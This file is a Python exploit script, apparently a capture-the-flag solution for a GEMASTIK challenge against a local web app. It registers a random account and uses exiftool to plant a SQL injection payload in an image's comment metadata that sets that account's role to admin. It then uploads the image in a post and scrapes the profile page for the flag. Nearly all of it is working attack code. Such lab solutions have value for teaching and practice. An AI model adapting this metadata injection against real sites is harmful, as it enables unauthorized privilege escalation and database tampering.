95 lines
2.8 KiB
Python
95 lines
2.8 KiB
Python
import requests
|
|
import random
|
|
import string
|
|
import re
|
|
import subprocess
|
|
from pathlib import Path
|
|
|
|
print("SQLi (VULN 2) Exploit")
|
|
|
|
HOST = "http://localhost:4413"
|
|
REGISTER_URL = HOST + "/register"
|
|
LOGIN_URL = HOST + "/login"
|
|
CREATE_URL = HOST + "/create"
|
|
HOME_URL = HOST + "/"
|
|
PROFILE_URL = HOST + "/profile"
|
|
|
|
# Generate random username and password
|
|
def generate_random_string(length=8):
|
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
|
|
USERNAME = generate_random_string()
|
|
PASSWORD = generate_random_string()
|
|
LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload
|
|
|
|
# 1) Modify the image with exiftool to embed SQLi payload
|
|
sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--"
|
|
try:
|
|
subprocess.run([
|
|
"exiftool",
|
|
"-overwrite_original",
|
|
f"-Comment={sqli_payload}",
|
|
LOCAL_IMAGE
|
|
], check=True)
|
|
print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"Failed to modify image with exiftool: {e}")
|
|
exit(1)
|
|
|
|
s = requests.Session()
|
|
|
|
# 2) Register a new user
|
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
|
if r.status_code != 200:
|
|
print("Registration failed. Status:", r.status_code)
|
|
# print("Response:", r.text[:400])
|
|
exit(1)
|
|
else:
|
|
print(f"Registered user: {USERNAME}")
|
|
|
|
# 3) Login with the new user
|
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
|
if r.status_code != 200:
|
|
print("Login failed. Status:", r.status_code)
|
|
# print("Response:", r.text[:400])
|
|
exit(1)
|
|
else:
|
|
print("Logged in successfully. Cookies:", s.cookies.get_dict())
|
|
|
|
# 4) Upload the modified sqli.png image when creating a post
|
|
img_path = Path(LOCAL_IMAGE)
|
|
if not img_path.exists():
|
|
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
|
|
|
with open(img_path, "rb") as fh:
|
|
files = {
|
|
"image": (LOCAL_IMAGE, fh, "image/png")
|
|
}
|
|
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
|
|
r = s.post(CREATE_URL, data=data, files=files)
|
|
print("Upload response status:", r.status_code)
|
|
# print("Upload response:", r.text[:800])
|
|
|
|
# 5) Get the home page to find the newest post ID
|
|
r = s.get(HOME_URL)
|
|
print("Home page status:", r.status_code)
|
|
|
|
# Extract post IDs using regex
|
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
|
if post_ids:
|
|
max_id = max(map(int, post_ids))
|
|
print(f"Newest post ID: {max_id}")
|
|
else:
|
|
print("No post IDs found on home page.")
|
|
exit(1)
|
|
|
|
# 6) Visit the profile page and search for the flag
|
|
r = s.get(PROFILE_URL)
|
|
print("Profile page status:", r.status_code)
|
|
flag_pattern = r"GEMASTIK\{.*?\}"
|
|
flag = re.search(flag_pattern, r.text)
|
|
if flag:
|
|
print("Flag found:", flag.group(0))
|
|
else:
|
|
print("Flag not found in response.")
|
|
# print("Response snippet:", r.text[:1200]) |